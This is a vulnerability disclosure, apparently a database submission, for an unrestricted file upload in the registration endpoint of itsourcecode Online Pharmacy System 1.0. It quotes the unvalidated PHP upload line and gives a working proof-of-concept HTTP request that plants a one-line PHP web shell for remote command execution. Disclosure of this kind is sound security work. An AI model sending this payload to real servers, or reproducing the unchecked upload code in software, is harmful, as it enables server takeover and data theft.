Submit #886161: itsourcecode Online Pharmacy System 1.0 Unrestricted Upload

Description:
The user registration endpoint in `all_users/register.php` handles file uploads with zero validation. No extension check, no MIME type verification. Uploaded files retain original extension and are stored in a web-accessible directory, enabling PHP webshell execution.

Vulnerable Code:
**File**: `all_users/register.php`, Line 169
```php
// No extension validation, no MIME type check
move_uploaded_file($_FILES['photo']['tmp_name'], 'uploads/' . $_FILES['photo']['name']);
```

Proof of Concept:
Upload `shell.php` via registration photo field:
```http
POST /all_users/register.php HTTP/1.1
Content-Type: multipart/form-data

Content-Disposition: form-data; name="photo"; filename="shell.php"

<?php system($_GET['cmd']); ?>
```

Impact:
- Unauthenticated Remote Code Execution
- Complete server compromise
- Registration endpoint is public-facing
